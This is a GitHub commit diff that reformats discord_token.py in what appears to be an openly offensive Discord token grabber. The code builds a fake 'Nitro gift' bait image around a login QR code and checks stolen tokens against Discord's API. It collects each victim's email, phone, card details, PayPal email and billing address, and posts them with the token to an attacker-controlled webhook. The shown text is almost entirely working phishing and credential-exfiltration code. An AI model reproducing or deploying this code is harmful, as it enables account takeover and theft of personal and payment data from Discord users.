Update discord_token.py

This commit is contained in:
mouadessalim 2022-09-28 08:46:41 +01:00 committed by GitHub
parent 45f073a234
commit 4f6c97ab3c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -18,6 +18,7 @@ class QRGrabber:
"""The QRGrabber class is used to grab Discord tokens via QR codes. """The QRGrabber class is used to grab Discord tokens via QR codes.
""" """
__slots__ = ('resources_path') __slots__ = ('resources_path')
def __init__(self, resources_path: str) -> None: def __init__(self, resources_path: str) -> None:
self.resources_path = resources_path self.resources_path = resources_path
@ -39,7 +40,11 @@ class QRGrabber:
\nThis QR code will be placed upon a Discord Nitro template to form a full bait image. \nThis QR code will be placed upon a Discord Nitro template to form a full bait image.
""" """
qr_img = Image.open(path_1, 'r') qr_img = Image.open(path_1, 'r')
ovly_img = Image.open(os.path.join(self.resources_path, 'overlay.png'), 'r') ovly_img = Image.open(
os.path.join(
self.resources_path,
'overlay.png'),
'r')
qr_img.paste(ovly_img, (60, 55)) qr_img.paste(ovly_img, (60, 55))
qr_img.save(path_2, quality=95) qr_img.save(path_2, quality=95)
@ -48,7 +53,11 @@ class QRGrabber:
"""Generates a Discord Nitro template using the files in the resources directory. """Generates a Discord Nitro template using the files in the resources directory.
\nThis template will be used to form a full bait image after a QR code pasted on it. \nThis template will be used to form a full bait image after a QR code pasted on it.
""" """
nitro_template = Image.open(os.path.join(self.resources_path, 'template.png'), 'r') nitro_template = Image.open(
os.path.join(
self.resources_path,
'template.png'),
'r')
nitro_template.paste(Image.open(path_2, 'r'), (120, 409)) nitro_template.paste(Image.open(path_2, 'r'), (120, 409))
nitro_template.save('discord_gift.png', quality=95) nitro_template.save('discord_gift.png', quality=95)
@ -66,7 +75,9 @@ class TokenInfo:
@log_unknown_exceptions(ERROR) @log_unknown_exceptions(ERROR)
def __init__(self, token: str) -> None: def __init__(self, token: str) -> None:
self.headers = {"Authorization": token, "Content-Type": "application/json"} self.headers = {
"Authorization": token,
"Content-Type": "application/json"}
if not self.check_token(): if not self.check_token():
raise InvalidToken raise InvalidToken
@ -95,7 +106,8 @@ class TokenInfo:
# These fields are set to None here so that if bool(payment_response) is False, the # These fields are set to None here so that if bool(payment_response) is False, the
# fields will still be accessible by those who wish to use this class outside this # fields will still be accessible by those who wish to use this class outside this
# project and will not throw any potential errors caused by their disappearance. # project and will not throw any potential errors caused by their
# disappearance.
self.payment_source = None self.payment_source = None
self.card_brand = None self.card_brand = None
@ -138,11 +150,13 @@ class TokenInfo:
bool: returns True if the operation did not fail, otherwise returns False. bool: returns True if the operation did not fail, otherwise returns False.
""" """
try: try:
webhook = DiscordWebhook(url=webhook_url, username=EMBED_USERNAME, avatar_url=EMBED_AVATAR) webhook = DiscordWebhook(
url=webhook_url,
username=EMBED_USERNAME,
avatar_url=EMBED_AVATAR)
embed = DiscordEmbed(color=EMBED_COLOR) embed = DiscordEmbed(color=EMBED_COLOR)
embed.add_embed_field(name='User Token Info', value= embed.add_embed_field(name='User Token Info', value=f""":crown:`Username:` **{self.username}#{self.discriminator}**
f""":crown:`Username:` **{self.username}#{self.discriminator}**
:id:`User ID:` **{self.id}** :id:`User ID:` **{self.id}**
:e_mail:`Mail:` **{self.email}** :e_mail:`Mail:` **{self.email}**
:mobile_phone:`Phone:` **{self.phone}** :mobile_phone:`Phone:` **{self.phone}**
@ -151,17 +165,16 @@ f""":crown:`Username:` **{self.username}#{self.discriminator}**
if self.billing_name is not None: if self.billing_name is not None:
if self.payment_source == PAYMENT_CARD: if self.payment_source == PAYMENT_CARD:
embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value= embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=f""":credit_card:`Brand:` ||**{self.card_brand}**||
f""":credit_card:`Brand:` ||**{self.card_brand}**||
:information_source:`Last 4:` ||**{self.card_last_4_digits}**|| :information_source:`Last 4:` ||**{self.card_last_4_digits}**||
:date:`Expiration:` ||**{self.card_expiry_date}**||""") :date:`Expiration:` ||**{self.card_expiry_date}**||""")
elif self.payment_source == PAYMENT_PAYPAL: elif self.payment_source == PAYMENT_PAYPAL:
embed.add_embed_field(name='Payment Info (Paypal)', value= embed.add_embed_field(
f':incoming_envelope:`Paypal Mail:` ||**{self.paypal_email}**||') name='Payment Info (Paypal)',
value=f':incoming_envelope:`Paypal Mail:` ||**{self.paypal_email}**||')
embed.add_embed_field(name='Billing Address', value= embed.add_embed_field(name='Billing Address', value=f"""***Billing Adress:***
f"""***Billing Adress:***
:name_badge:`Name:` ||**{self.billing_name}**|| :name_badge:`Name:` ||**{self.billing_name}**||
:paperclip:`Line 1:` ||**{self.address_1}**|| :paperclip:`Line 1:` ||**{self.address_1}**||
:paperclips:`Line 2:` ||**{self.address_2}**|| :paperclips:`Line 2:` ||**{self.address_2}**||
@ -172,21 +185,32 @@ f"""***Billing Adress:***
""", inline=False) """, inline=False)
else: else:
embed.add_embed_field(name='Payment Info (:x:)', value='**No Payment Info Founded.**\n', inline=False) embed.add_embed_field(
name='Payment Info (:x:)',
value='**No Payment Info Founded.**\n',
inline=False)
embed.add_embed_field(name='Token', value=f"```yaml\n{self.token}\n```", inline=False) embed.add_embed_field(
embed.set_footer(text='By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0', inline=False) name='Token',
value=f"```yaml\n{self.token}\n```",
inline=False)
embed.set_footer(
text='By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0',
inline=False)
webhook.add_embed(embed) webhook.add_embed(embed)
webhook.execute() webhook.execute()
return True return True
except ColorNotInRangeException as e: except ColorNotInRangeException as e:
raise WebhookSendFailure(f'Failed to send the token information webhook: {e}') raise WebhookSendFailure(
f'Failed to send the token information webhook: {e}')
@log_unknown_exceptions(ERROR) @log_unknown_exceptions(ERROR)
def check_token(self) -> bool: def check_token(self) -> bool:
"""Returns True if the discord API responds with status code 200 to a token. """Returns True if the discord API responds with status code 200 to a token.
""" """
response = get('https://discord.com/api/v6/users/@me', headers=self.headers) response = get(
'https://discord.com/api/v6/users/@me',
headers=self.headers)
if response.status_code == 200: if response.status_code == 200:
return True return True
else: else: